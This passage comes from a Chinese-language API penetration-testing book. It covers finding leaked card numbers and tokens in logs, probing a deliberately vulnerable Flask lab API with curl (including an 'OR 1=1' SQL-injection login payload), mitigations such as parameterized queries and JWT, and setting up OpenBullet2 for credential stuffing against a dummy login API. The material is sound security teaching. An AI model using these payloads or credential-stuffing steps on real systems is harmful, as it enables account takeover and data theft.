297003:192.168.1.120 - user_1823 [19/Apr/2024:04:41:54 +0200] "POST /api/submit HTTP/1.1" 200 2612 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="56a3d397f23094f3517296ea35e8bf5e" Credit_Card="1234-5678-9012-10401"
...Output omitted for brevity...
real 0m0.216s
user 0m0.172s
sys 0m0.044s
那更疯狂了。由于正则表达式更简单,它可以在不到 0.5 秒的时间内找到 100 行匹配的模式!和常规的grep一样,rg是区分大小写的。可以使用相同的开关(-i)来关闭此功能。你还可以组合正则表达式,一次查找多个模式:
$ time rg -e "\b\d{4}-\d{4}-\d{4}-\d{4}\b" -e "Auth_Token=[^ ]+" dummy.log
99001:192.168.1.209 - user_10741 [19/Apr/2024:04:41:53 +0200] "POST /api/submit HTTP/1.1" 200 2550 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="76358e1eaf10a2da25845535f6a2f8ca" Credit_Card="1234-5678-9012-685"
198002:192.168.1.31 - user_15060 [19/Apr/2024:04:41:53 +0200] "POST /api/submit HTTP/1.1" 200 4211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="bfc4d56410a31f16e939559d1fd19011" Credit_Card="1234-5678-9012-30887"
297003:192.168.1.120 - user_1823 [19/Apr/2024:04:41:54 +0200] "POST /api/submit HTTP/1.1" 200 2612 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" Auth_Token="56a3d397f23094f3517296ea35e8bf5e" Credit_Card="1234-5678-9012-10401"
...Output omitted for brevity...
real 0m1.821s
user 0m1.788s
sys 0m0.033s
一切在不到 2 秒钟内完成。这是一次胜利!你可以选择将rg集成到自动化脚本中,并将其输出重定向到日志文件中。仔细查看它的手册页,了解更多关于这个神奇工具的信息。接下来,我们将学习如何进行测试,以检测信息泄露。
信息泄露测试
太酷了!所以,你获得了一个数据集,通过数据外泄、社会工程学或其他任何渗透测试技术获得的,现在你刚学会了如何使用几个相当不错的工具从这个数据集中提取数据。那么,如何测试一个 API 端点,以验证它是否容易泄露你正在寻找的数据呢?这就是我们将在这里看到的内容。需要强调的是,我们并不是在测试真实的公共 API 端点,因为显然我们没有权限这么做。请将这里的教学视为仅用于教育和专业目的。
我们将使用受控的实验室环境,运行一些 API 路由并稍作实验,以了解它们可能泄露哪些原本应该受到保护的数据。首先,你需要的数据当然是数据本身。你可以选择一个你可能已经拥有的包含虚拟数据的文件,或者运行以下脚本。这将生成 1,000 行随机数据,使用 $RANDOM BASH 变量。它将包含用户 ID、电子邮件地址、信用卡号和身份验证令牌:
# Generating dummy sensitive data
echo "id,name,email,credit_card,auth_token" > sensitive_data.csv
for i in {1..1000}; do
echo "$i,User_$i,user$i@example.com,\
$RANDOM-$RANDOM-$RANDOM-$RANDOM,\
$(openssl rand -hex 16)" >> sensitive_data.csv
done
创建的文件将是 CSV 格式,看起来如下:
id,name,email,credit_card,auth_token
1,User_1,user1@example.com, 10796-5693-25560-7313, 7fb3eb19f290e107a789c781a50e2ff3
2,User_2,user2@example.com, 16541-23368-7044-11673, 41715cd1bc94db51192e61d895a6fed6
3,User_3,user3@example.com, 433-32493-22646-29072, 03ac641fb0d669d18320b9806403ad4c
4,User_4,user4@example.com, 21120-26964-18866-19201, 9566b0809b3fe28b8e86b8f97961670a
5,User_5,user5@example.com, 24266-28815-8839-23803, f345c6d3ef4a83433178d7b5431c8e47
6,User_6,user6@example.com, 32051-14393-2369-23011, 006e2fe5208e98c694318f099ecdbb62
7,User_7,user7@example.com, 2141-3195-31552-27733, 864a9c035fd0f3fd07383406c620192e
8,User_8,user8@example.com, 215-813-6840-24823, 36f2da15355593dcca987f570f331673
9,User_9,user9@example.com, 4015-30295-20623-27347, fe59f7e5b7c6b02a7ff622848e7ff2dd
10,User_10,user10@example.com, 14783-2106-26501-22541, a8f56bf3720c74cb2d0859cfc071bbed
...Output omitted for brevity...
现在我们来实现包含五个路由的 API:
-
/users:一个未进行身份验证的端点,暴露敏感的用户信息。 -
/login:一个容易受到 SQL 注入攻击的端点。 -
/profile/<user_id>:一个访问控制不足的端点。 -
/get_sensitive_data:一个容易发生数据泄露的端点。 -
/cause_error:一个触发详细错误消息并包含堆栈跟踪的端点。
实现此应用程序的代码可以在github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter08/api_sensitive_data.py找到。它是用 Python 编写的,因为这是本书中我们使用的主要语言之一,而且它相对简单易懂。使用了 pandas 框架来简化 CSV 文件的读取。
正如你已经知道的,这段代码默认监听 TCP/5000 端口。启动它,让我们尝试与这些端点互动。由于这个应用程序容易受到一些威胁的攻击,你不一定需要先进行身份验证就能与这些端点交互。
如果无法访问代码,你显然需要使用我们在本书第二部分中介绍的侦察技术。然而,由于你可以访问代码,即使只是粗略分析,你也会发现这个 API 的设计存在明显的弱点。自上而下地分析,我们可以看到:
-
有一个端点会在没有任何先前的 AuthN 和 AuthZ 的情况下返回全部数据。
-
登录端点容易受到 SQL 注入攻击,哪怕是最简单的形式。
-
提供用户资料信息的路由没有检查用户是否有权限访问这些信息。
-
倒数第二条路由试图通过寻找 AuthZ 令牌来进行一些控制,但它的设计过于简单,几次尝试后就可以猜到令牌的值。
-
最后,甚至还有一个端点会引发内部异常,造成泄露内部基础设施数据的可能性。
让我们逐一尝试:
$ curl http://127.0.0.1:5000/users
{
"auth_token": " 7fb3eb19f290e107a789c781a50e2ff3",
"credit_card": " 10796-5693-25560-7313",
"email": "user1@example.com",
"id": 1,
"name": "User_1"
},
{
"auth_token": " 41715cd1bc94db51192e61d895a6fed6",
"credit_card": " 16541-23368-7044-11673",
"email": "user2@example.com",
"id": 2,
"name": "User_2"
},
{
"auth_token": " 03ac641fb0d669d18320b9806403ad4c",
"credit_card": " 433-32493-22646-29072",
"email": "user3@example.com",
"id": 3,
"name": "User_3"
}
...Output omitted for brevity...
你刚刚获得了所有用户的信息,以 JSON 格式组织,便于之后分类。登录端点实际上并未与 SQL 数据库进行交互。因此,我们无法在这里模拟注入攻击,但核心思想仍然存在。
$ curl -X POST -H "Content-Type: application/json" \
-d '{"username": "admin", "password": "admin\' OR \'1\'=\'1"}' \
http://localhost:5000/login
{
"message": "Invalid credentials!"
}
那么,显示用户资料的路由怎么样呢?它不需要任何先前的 AuthZ 来查看用户资料。我们来试试看:
$ curl http://localhost:5000/profile/10
{
"auth_token": " 0f5832741bd997a963a2b1c10c7e3410",
"credit_card": " 4904-20956-3479-12358",
"email": "user10@example.com",
"id": 10,
"name": "User_10"
}
你刚刚发现了另一个 API 端点,在没有正确的 AuthN 或 AuthZ 的情况下暴露了有效的信息。接下来,我们继续练习,探索那个尝试用 AuthZ 令牌保护应用程序的端点。在这种情况下,我们知道令牌控制是一个简单的 Python 条件判断,它检查一个简单的令牌内容,但在现实世界的场景中,如果使用 NoSQL 或内存数据库,我们可以尝试进行相关的注入攻击来绕过保护:
curl -H "Authorization: 12345" http://localhost:5000/get_sensitive_data
id,name,email,credit_card,auth_token
1,User_1,user1@example.com, 24280-22986-24153-30647, 1314d0dabf32fb00873d2af1df67104b
2,User_2,user2@example.com, 22724-31508-12727-13842, 0120956bf359ec6768e41451a4427360
3,User_3,user3@example.com, 19369-31798-14486-31982, 8be7e021287609dd9e274ccf26b7bbb5
…Output omitted for brevity…
最后一条路由仅仅是为了发送一条详细的错误信息,强化在异常和错误发生时不加以处理的危险。想了解更多内容,请查阅[第六章,在该章节中我们有深入的讨论:
$ curl http://localhost:5000/cause_error
<!doctype html>
<html lang=en>
<head>
<title>ZeroDivisionError: division by zero
// Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="img/?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script>
var CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "MN645GMVPd9f6W0ZSFTa";
</script>
</head>
...Output omitted for brevity...
这些是与 API 交互并访问普通用户不应该直接访问的数据的一些方法。此外,发现 API 中无意泄露的信息需要结合被动和主动的探测方法。你可以使用工具向 API 发起各种查询,并仔细检查响应,以寻找潜在的数据泄露。这可能包括检查响应中的隐藏数据(元数据)、可能过于泄露的错误信息,或本不应该轻易获取的特定信息。
在实际环境中,像 Wireshark(或其命令行等效工具 tshark)这样的工具可能对检测隐藏字段或未保护的有效负载很有帮助。一旦发现这些字段,它们很可能会揭示你所寻找的信息。Burp Suite 或 OWASP ZAP 也在此过程中发挥了作用,尤其是在 API 端点的流量使用 TLS 加密时。在这种情况下,如果你不能将目标的 TLS 证书替换为自己的证书(这将允许你完全查看数据包内容),你可能会更难深入分析发现的问题。接下来,我们将了解在 API 世界中,我们可以使用哪些技术来减少数据泄露的可能性。
防止数据泄露
为了消除或至少减少在 API 或其背后应用程序中发生数据泄露的可能性,采用多层次的方法可能是最佳选择之一。这包括安全的编码实践、强大的身份认证(AuthN)和对敏感信息的谨慎处理。
防线的第一步是安全的 API 设计——只创建你需要的接口。换句话说,只有暴露 API 功能所需的数据。避免开放查询,这可能会导致未经授权的访问。在 GraphQL 中,像查询白名单这样的工具充当了守门员,限制数据请求并防止敏感信息的过度获取。
源代码最佳实践也是一个至关重要的话题。在与数据库交互时,有一个重要的注意点是使用参数化查询,而不是简单地将用户输入的内容转发给数据库。可以将这些视为提前准备好的数据库邀请函——它们防止攻击者操控查询并可能窃取数据(通常被称为 SQL 注入攻击)。一个实现这种查询的 Python 代码示例如下:
import sqlite3
def get_user_info(user_id):
# Use parameterized query to prevent SQL injection
connection = sqlite3.connect('my_database.db')
cursor = connection.cursor()
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
user = cursor.fetchone()
connection.close()
return user
请注意在 user_id 字段上使用参数化占位符(?)。这样可以防止 API 端点的用户提供的输入数据影响最终的 SQL 数据库,从而降低注入攻击的可能性。
必须永远记住身份认证(AuthN)和授权(AuthZ)的动态组合。API 应该使用像 OAuth 2.0 或 OpenID Connect 这样的强大机制,确保只有授权用户可以访问敏感的端点。JSON Web Tokens(JWTs)就像是安全的邀请函——紧凑且受保护,它们允许开发者控制谁可以进入。在接下来的代码块中,你可以看到在 Python 中使用 Flask JWT Extended 模块实现 JWT 的代码:
from flask import Flask, jsonify, request
from flask_jwt_extended import JWTManager, create_access_token, jwt_required
app = Flask(__name__)
app.config['JWT_SECRET_KEY'] = 'type_a_secure_key_here'
jwt = JWTManager(app)
@app.route('/login', methods=['POST'])
def login():
username = request.json.get("username", "")
password = request.json.get("password", "")
if username == "admin" and password == "admin123":
access_token = create_access_token(identity=username)
return jsonify(access_token=access_token)
return jsonify({"message": "Invalid credentials!"}), 401
@app.route('/protected', methods=['GET'])
@jwt_required()
def protected():
return jsonify({"message": "Access granted!"})
要能够访问 /protected API 路由,用户必须提供有效的 JWT 令牌,这是 @``jwt_required() 装饰器所要求的。
数据加密就像是皇冠上的宝石。你必须尽可能在通信中应用 TLS。事实上,Red Hat OpenStack(一种私有云解决方案)采用了一种叫做 TLS-e 的概念(e 代表 ** everywhere**),这意味着该产品的内部和公共端点都启用了 TLS,从而保证了流量加密。对于静态数据,加密算法如 AES(带有强大的密钥长度)就像保险库的大门,保护存储的数据。
输入验证和数据清理提供了一种微妙但绝对不可避免的保护盾。不要轻易接受任何输入为有效。在设计或编写 API 时,你应该始终始终始终以犯罪分子的思维方式来思考:每一行代码或已实现的端点都可能被恶意利用。清理用户输入有助于防止像 SQL 注入和 跨站脚本攻击 (XSS) 这样的攻击,这些攻击如果不加以控制,可能会导致数据泄露。在这种情况下,OWASP 企业安全 API (ESAPI) 可以在执行安全检查时提供帮助。
对于 GraphQL API,防止数据过度获取至关重要。像查询白名单和查询成本分析等技术充当着份额控制措施,确保用户仅检索他们所需的数据。Apollo GraphQL 平台提供了额外的安全资源和工具,帮助管理和分析查询。
正确的错误处理意味着你不应该泄露任何显示错误发生的细节之外的信息。此外,捕获所有可能的异常以避免未映射的错误,也可能无意中将内部数据公开给公众。
最后,日志记录和监控完成了我们分层的安全策略。适当配置的日志记录可以让安全团队检测和应对可疑活动,而监控工具则充当警报,提醒管理员潜在的安全漏洞或未经授权的访问。然而,重要的是要确保日志中不包含敏感信息。根据需要旋转并加密这些日志。
总结
本章开始了本书的第四部分,涵盖了 API 高级话题。我们学习了如何识别敏感数据的暴露。我们还讨论了如何测试 API 端点(或路由)上的信息泄漏,并通过一些通用建议总结了为何以及如何防止此类问题的发生。
归根结底,如果 API 使用的是现代编程语言,端点少且只执行特定任务,但其服务的数据没有得到良好保护,那也毫无意义。在公司遭遇网络攻击时,数据泄露是(如果不是最严重的话)最令人担忧的问题之一,不论公司大小。
在下一章,我们将完成第四部分的内容,讨论 API 滥用和常见的逻辑测试。这无非是更好地理解 API 实现背后的业务逻辑,以及失败时如何导致 API 本身的漏洞。下次见!
进一步阅读
-
ELK 堆栈:
www.elastic.co/elastic-stack -
最大映射计数检查问题:
www.elastic.co/guide/en/elasticsearch/reference/8.13/_maximum_map_count_check.html -
Filebeat,一个日志发送代理:
www.elastic.co/beats/filebeat -
在 Ubuntu 上安装 Filebeat:
www.elastic.co/guide/en/beats/filebeat/8.13/setup-repositories.html#_apt -
KQL:
www.elastic.co/guide/en/kibana/current/kuery-query.html -
Apache Lucene,一个开源搜索引擎:
lucene.apache.org/ -
在 Elasticsearch 上探索正则表达式:
www.elastic.co/guide/en/elasticsearch/reference/current/regexp-syntax.html -
免费的官方 Elastic 培训:
www.elastic.co/training/free -
Silver Searcher 工具:
github.com/ggreer/the_silver_searcher -
Red Hat OpenStack TLS-e:
access.redhat.com/documentation/en-us/red_hat_openstack_platform/16.2/html/advanced_overcloud_customization/assembly_enabling-ssl-tls-on-overcloud-public-endpoints -
OWASP ESAPI:
owasp.org/www-project-enterprise-security-api/
第九章:API 滥用与业务逻辑测试
在本章中,我们将完成本书的第四部分。我们刚刚学习了数据暴露和信息泄露,这两者在当今社会中非常常见。不幸的是,甚至还有更危险的方式来破坏 API 保护控制。滥用正确使用端点的方法就是其中之一。利用 API 逻辑漏洞则是另一个令人恐惧的方式。
API 滥用是指超出其预期用途的 API 滥用,导致安全漏洞、数据泄露或服务中断。业务逻辑测试涉及识别应用程序业务规则和工作流中的漏洞,确保应用程序在所有场景下都能按预期运行。结合这些测试,有助于保护 API 防止滥用和逻辑缺陷。
本章中,我们将继续讨论高级 API 话题,但我们将学习为什么 API 背后的业务逻辑可能会影响 API 端点被利用的频率和/或深度。我们将首先解析什么是业务逻辑及其可能存在的漏洞。然后,我们将看看滥用场景,模拟可以不正当地探索此类逻辑的环境。最后,使用像在第八章中应用的方法,我们将搜索业务逻辑中的漏洞。希望你能喜欢这段旅程。让我们一起开始吧!
在本章中,我们将涵盖以下主要内容:
-
理解业务逻辑漏洞
-
探索 API 滥用场景
-
业务逻辑漏洞测试
技术要求
我们将利用与前几章提到的环境相同的环境,例如 Ubuntu 发行版。其他一些相关的新工具将在相应的章节中提到。
在本章中,我们将编写更多的代码,用于模拟和测试一些漏洞,这一次我们将重点关注业务逻辑。
理解业务逻辑漏洞
要理解可能源自 API 端点背后业务逻辑及其应用的漏洞类型,我们首先需要理解什么是业务逻辑。简单来说,它就是一系列定义数据如何被软件处理的流程、规则和工作流。为了实现特定的业务目标,软件需要处理与用户的交互、事务和数据处理。换句话说,它是业务特性在代码中的实现。
使用网络商务作为一个常见的场景,应用程序的业务逻辑部分(也可以由 API 和它们的端点表示)处理各种任务,如维护购物车、插入折扣代码、所有物流活动(如计算运费和预计交货时间),最终处理或将支付转移到可信第三方。最终目的是确保应用程序按设计行为,使所有阶段都是确定性的而不是概率性的。这是一个非常重要的记点。
如果现在还不明显,你可以问为什么业务逻辑如此重要。好吧,它做以下工作:
-
维护完整性和效率:它保证应用程序运行顺畅,并具有数据完整性。
-
转换业务规则:通过遵循某些方法论,将业务政策和规则转化为代码行。这使应用程序能够执行诸如验证用户输入、执行安全措施、管理数据流和遵守法规等任务。想象一下银行应用程序 - 它的业务逻辑将强制执行关于交易限制、账户访问和欺诈检测的规则。
-
自动化流程:通过在应用程序内封装这些规则,企业可以自动化复杂任务,减少错误,并确保业务活动的一致执行。
-
影响可靠性和安全性:强大的业务逻辑直接影响软件的可靠性、安全性,最终影响用户的满意度。
简单来说,业务逻辑是软件的规则书,确保它运行高效并满足所服务业务的特定需求。
不错!现在我们已经在这个主题上建立了一些基础,我们可以谈谈可能影响它的漏洞。它们通常可以绕过传统的安全措施,如防火墙和入侵检测系统(IDS),对以下原因非常危险:
-
他们的目标是核心业务。
-
它们难以检测和阻止。
有一些方法可以导致业务逻辑中的错误:
-
工作流篡改:通过这种方式,我们改变操作的顺序,以克服安全保护或获取未经授权的访问。
-
验证绕过:通过这种方式,我们寻找跳过或操纵某些验证的方法。
-
不一致的错误处理:在这种情况下,我们识别错误消息中可能泄露敏感数据或 API 行为的模式。
-
升级权限:通过利用 API 代码中的某些失败或支持它的系统,我们获得了更高级别的访问权限。
-
并发问题:实施并发性的 API 可能会对此产生漏洞,我们可以利用竞争条件或逻辑同步中的失败。
-
操纵交易:通过这种方式,我们直接干预逻辑操作,施加不一致性或获得某些好处,通常是财务方面的。
有一些显著的事件值得一提,以说明 API 业务逻辑漏洞如何对公司造成毁灭性的损害。您将在进一步阅读部分找到更多关于它们的信息链接。2021 年 4 月,一位独立安全研究人员发现了Experian用于评估个人信用价值的 API 的漏洞。该 API 使用最少的身份验证信息,容易被利用。攻击者可以使用轻松获得的公共信息检索敏感个人数据,包括Fair Isaac Corporation(FICO)分数和信用风险因素。这一事件凸显了弱身份验证和过度数据暴露的风险。
在同一年同一月,来自Sick Codes安全公司的安全研究人员揭示了 John Deere 的 API 中的漏洞,这使他们能够无需身份验证访问用户账户和敏感数据。John Deere 是一家全球性公司,生产农业、建筑和林业设备及解决方案。研究人员能够识别 John Deere 的客户,包括一些财富 1000 强企业,并检索与其设备相关联的个人数据。这些 API 中缺乏速率限制和身份验证控制,构成了重大安全风险。
在 2021 年 12 月,黑客利用 X(当时仍称为 Twitter)API 中的漏洞,获取了超过 540 万用户的个人数据。通过向 API 提交电子邮件地址或电话号码,攻击者可以检索相关联的账户。此次泄露暴露了用户名、电话号码和电子邮件地址,严重影响了用户对 X 的信任和信心。
再次在 2021 年 12 月,社交媒体调度平台 FlexBooker 遭遇了 API 泄露,泄露了 370 万用户记录。由于其 AWS 配置中的漏洞导致了敏感用户数据的下载和系统停机。该泄露源于 FlexBooker 在 AWS 上配置访问控制的缺陷,可以视为与 API 安全相关的业务逻辑问题。泄露的用户数据存储在 FlexBooker 的系统内,可能是通过被入侵的 API 访问的。这一事件强调了保护 API 端点和存储系统的重要性。
2022 年 1 月,德克萨斯州保险部因软件错误暴露了一个 API 端点(持续了近三年)。该漏洞暴露了包含社会安全号码、地址及其他个人信息的 180 万条记录。问题有两个:一个是脆弱的 Web 应用程序,另一个是暴露的数据。此漏洞存在于应用程序的代码中,表明业务逻辑实现存在问题。在暴露的数据中,包括了姓名、社会安全号码、地址、出生日期和索赔详情。此事件突显了持续监控和正确配置 API 端点以保护敏感数据的重要性。
现在我们已经涵盖了什么是 API 业务逻辑以及 API 漏洞可能导致的问题,让我们学习如何滥用 API。
探索 API 滥用场景
API 滥用与以偏离其预期目的或项目/设计的方式意外使用 API 相关。这通常会暴露出安全漏洞,进而可能导致数据泄露和/或服务中断。滥用 API 的一些常见方式包括:
-
凭证填充:通过使用被盗的凭证获得 API 访问权限。
-
数据抓取:从 API 中提取大量数据,通常违反了服务条款或隐私政策。
-
端点发现:通过使用自动化工具发现并利用“隐藏”(遗忘或未文档化)API 端点来实现。
-
批量赋值:你向端点发送意外的数据字段,以操控内部对象属性。
-
参数篡改:通过修改 API 参数,访问那些默认情况下会被拒绝或限制的数据或功能。
-
速率限制违规:通过超过单位时间内允许的最大请求次数来实现,通常会导致 DoS 攻击。
我们已经在理论和实践中涵盖了上述一些方法。现在,让我们深入探讨那些全新的方法。对于每种方法,我们将有一个用 Python 编写的虚拟 API 和你可以遵循的攻击步骤。
凭证填充
这是一种通用类型的攻击,犯罪分子利用大量被盗或泄露的凭证数据库,试图通过 API 端点获得对用户帐户的未授权访问。这里的主要目的是利用许多人在日常生活中的行为:在多个系统和网站上重复使用相同的密码。犯罪分子使用自动化工具来帮助加速这些攻击。在短时间内,可以生成数百万次尝试。这与暴力破解攻击不同,暴力破解攻击需要生成随机密码,有时还需要用户名,或者从字典文件中读取它们,甚至使用彩虹表(当目标是哈希值时)。凭证填充使用的是实际的用户名和密码。
这种攻击的危害基于它们能够克服基本安全防护的能力。一旦提供了有效的凭证对,如果保护机制仅依赖于密码的长度和复杂度,就很容易被绕过。它们对于处理敏感数据的应用程序尤其危险,因为即使是小规模的泄露也可能对公司声誉造成严重损害。
在声誉问题上,凭证填充攻击也会带来相当大的经济影响。Ponemon Institute的研究(ag.ny.gov/publications/business-guide-credential-stuffing-attacks)得出结论,这种类型的攻击平均成本约为 600 万美元,其中包括事件响应、客户通知、合规和监管罚款的费用。还不包括声誉损失。这足以让许多小公司破产。为了减轻此类威胁,需要应用强大的安全措施,例如多因素认证(MFA)、用户实体和行为分析(UEBA)以及异常检测(现在通常通过机器学习(ML)解决方案实现)。
创建虚拟目标
凭证填充通常通过自动化工具实现,如Sentry MBA、Snipr或OpenBullet。我们将使用OpenBullet 2(github.com/openbullet/OpenBullet2),这是初始版本的超集,来实现我们的攻击。为此,以下虚拟 API 将作为目标。该代码可在github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/credential_stuffing/api_credential.py找到:
from flask import Flask, request, jsonify
from datetime import datetime, timedelta
from collections import defaultdict
import time
app = Flask(__name__)
users = {
"user1": "password123",
"user2": "password456",
}
login_attempts = defaultdict(list)
def is_rate_limited(user):
now = datetime.now()
window_start = now - timedelta(minutes=1)
attempts = [ts for ts in login_attempts[user] if ts > window_start]
login_attempts[user] = attempts
return len(attempts) >= 5
@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
username = data.get('username')
password = data.get('password')
if is_rate_limited(username):
return jsonify({"message": "Rate limit! Try again later."}), 429
if users.get(username) == password:
login_attempts[username].clear()
return jsonify({"message": "Login successful"}), 200
else:
login_attempts[username].append(datetime.now())
return jsonify({"message": "Invalid credentials"}), 401
if __name__ == '__main__':
app.run(debug=True)
请注意,API 只有一个端点,用于处理登录过程。它还包含一个实现基本速率限制控制的功能。当一分钟内失败的尝试次数大于或等于五次时,请求将被拒绝。这里只有两个虚拟用户。由于我们并未真正窃取任何凭证,我们将创建一个包含其他虚拟用户名和密码的文件,包括 API 中存在的那些。此处的目的是展示该逻辑易受凭证填充攻击的影响。
我们将作为 Docker 容器运行这个 API,因为如你所见,我们的攻击工具也将以这种方式运行。虽然这并非绝对必要,你也可以直接在宿主系统上运行 Python 代码。但为了能从容器中访问其 5000/TCP 端口,你需要稍微调整一下容器的网络配置,因为根据你使用的 Docker 版本,默认情况下可能不允许这种通信。为了确保安全,最好将这两个软件都作为容器运行。如果在启动容器时或在其 Dockerfile 中没有指定其他设置,它们将共享同一个 Docker 网络(即 bridge 网络)。
$ docker network list
NETWORK ID NAME DRIVER SCOPE
d8dd035a66bd bridge bridge local
19ba2bd53bfd host host local
821848b3ff50 none null local
很棒!那么,为了将这段 Python 代码作为 Docker 容器运行,我们需要一个 Dockerfile 文件。以下内容仅为建议,你可以自由选择其他包含 Python 的容器镜像。我推荐选择一个轻量级的镜像,以保持它的体积小。为了方便你,这个 Dockerfile 可以从 github.com/PacktPublishing/Pentesting-APIs/blob/main/chapters/chapter09/credential_stuffing/Dockerfile 下载:
FROM python:3.9-slim-buster
WORKDIR /app
COPY ./requirements.txt /app
RUN pip install -r requirements.txt
COPY . .
EXPOSE 5000
ENV FLASK_APP=api_credential.py
CMD ["flask", "run", "--host", "0.0.0.0"]
所提到的 requirements.txt 文件是一个单行文件,只包含 Flask。我不确定你对 Docker 的了解程度,所以在这里简要解释一下。这个 Dockerfile 会暴露 port 5000(允许其他容器和宿主机通过该端口连接),安装 Flask,并将当前目录的所有内容(包括 api_credential.py Python 文件本身)复制到容器的当前目录(即 /app)。然后,它会运行应用程序。要让这个容器工作,输入以下命令:
$ docker build -t api .
$ docker run -p 5000:5000 --name credential_api api
第一个命令解析 Dockerfile,下载指定的镜像,将其标记为 api,并根据其余内容完成镜像构建。第二个命令实际上通过将宿主机的 port 5000 映射到容器的 port 5000 来运行容器,并将其命名为 credential_api,同时选择先前构建的 api 镜像。现在我们可以继续使用攻击工具了。
设置 OpenBullet2
OpenBullet2 有一个适用于 Windows 的原生客户端。由于我们不使用这个操作系统,我们将选择另一种方式:Web 客户端。安装这种方式有不止一种路径。你可以首先安装 Microsoft 的 .NET 运行时环境,下载 OpenBullet2(其中包括 Windows 的 DLL 文件),然后使用 .NET 来运行它。根据你使用的系统,这可能会遇到一些困难。在 Ubuntu 上,我个人更倾向于采用 Docker 方法。你只需要创建一个目录,容器将使用该目录来存储配置和攻击时捕获的数据,然后运行以下命令(此命令在产品文档中有说明):
$ docker run --name openbullet2 --rm -p 8069:5000 \
-v ./UserData/:/app/UserData/ \
-it openbullet/openbullet2:latest
在这种情况下,我指定了一个本地的 UserData 目录,位于当前目录下,该目录会挂载到容器中作为 /app/UserData 卷(-v 选项表示卷)。该命令将容器命名为 openbullet2(--name)并以交互模式运行(-it),这种模式适合让你观察日志消息。容器监听 5000 端口,并映射到主机的 8069 端口。容器在关闭后会被移除(--rm)。只需在你喜欢的浏览器中打开 http://localhost:8069,就能看到该工具的界面(图 9.1)。

图 9.1 – OpenBullet2 的初始界面
注意
在使用 OpenBullet2 进行测试时,我浪费了不少时间试图理解为什么我的攻击没有成功。我不确定是否是我使用的版本出现了某些 Bug。事实上,以下内容帮助我解决了这个问题,让这个工具如预期般工作。你可以跳过这一段,继续阅读接下来的部分,但如果在某个阶段你遇到了类似 UserData 本地目录的错误,你会发现该工具会创建多个文件和目录。此时唯一重要的文件是 Environment.ini。检查它的权限,如果没有写权限,就授予它写权限。编辑该文件,将 WORDLIST TYPE 默认块修改为如下所示:
[WORDLIST TYPE]
Name=Default
Regex=^.*$
Verify=False
Separator=:
Slices=USERNAME,PASSWORD
我们在这里做的,是指示 OpenBullet2 使用冒号(:)作为字段分隔符,并将冒号左边部分命名为 USERNAME,右边部分命名为 PASSWORD。原本不应这样做,但这对我的环境产生了巨大变化。保存文件后,像第一次一样重新启动容器。现在继续阅读。
当你点击旗帜时,会展示其他旗帜和语言。在写这章内容时,共有十二种语言可供选择!点击你首选的语言/旗帜后,会出现许可协议,你只需接受即可。此外,第一次运行应用程序时,需要进行初始设置(图 9.2)。

图 9.2 – 初始设置
我们正在设置它以便本地运行。然后,只需点击相应的按钮。你还可以选择将 OpenBullet2 设置为在远程主机上运行。选择该选项后,设置将完成。你将看到仪表板,显示了许多有趣的选项和一般使用统计数据,包括 CPU、内存和网络消耗。不要在图 9**.2所示的屏幕上浪费太多时间,因为我们必须专注于攻击。
创建配置并进行攻击
我们将通过创建配置来开始攻击。按照以下顺序进行:
-
点击左侧面板上的Configs。
-
在新屏幕上,点击New。
这将带你进入一个表单,在其中你可以输入一些元数据,如配置的作者、名称,以及存储在文件或 URL 中的图像。这是配置的元数据部分。其他选项包括Readme、Stacker、LoliCode、设置和C# 代码。值得注意的是,你可以将 C# 代码作为配置的一部分。它将由 OpenBullet2 执行,作为攻击的一部分。启动时,应用程序会记录一条警告信息,通知你不要以管理员或 root 身份运行它,因为二进制代码将被执行,而此类代码可以绕过主机系统的安全控制。图 9**.3显示了 OpenBullet2 的仪表板。

图 9.3 – OpenBullet2 仪表板屏幕
下一张图展示了配置的元数据屏幕。

图 9.4 – 配置的元数据部分
- 只需为配置本身写一个名称和作者名称。将其余部分保留为默认设置。图 9**.5显示了启动应用程序时的警告信息。

图 9.5 – 启动警告信息
-
在继续配置之前,我们需要回顾一下 OpenBullet2 和 API 都是作为容器运行的。这意味着它们已经获得了属于 Docker 桥接网络的 IP 地址。IP 段可能会根据 Docker 引擎版本和你正在运行的系统而变化,因此你需要检查它们被分配的地址。主机通常会选择该块的第一个地址。在我的情况下,像这样:
$ ifconfig docker0 docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255 inet6 fe80::42:a2ff:fe20:673e prefixlen 64 scopeid 0x20<link> ether 02:42:a2:20:67:3e txqueuelen 0 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 36 bytes 4857 (4.8 KB) 172.17.0.1. Containers will be allocated the subsequent addresses in the order in which they come up. I will presume that the API has 172.17.0.2, as it was the first container to be started. Let’s confirm that:$ docker inspect -f \
'{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' credential_api
172.17.0.3)。让我们回到我们的流程。
-
如果你想创建一些文字来描述它的内容,当更多的人使用相同实例时,这会很有用,你可以进入Readme部分并在那里写一些说明。现在点击Stacker。在这里,我们可以告诉 OpenBullet2 攻击应如何进行。你会看到当前堆栈为空。
-
点击绿色加号以创建一个新的堆栈配置。这将打开添加 块窗口。
-
点击 Requests | Http | Http Request (图 9**.6)。

图 9.6 – 将 HTTP 请求块插入堆栈配置
你会回到堆栈配置屏幕,在这里你可以编辑请求的所有细节。我们需要更改以下内容:
-
将
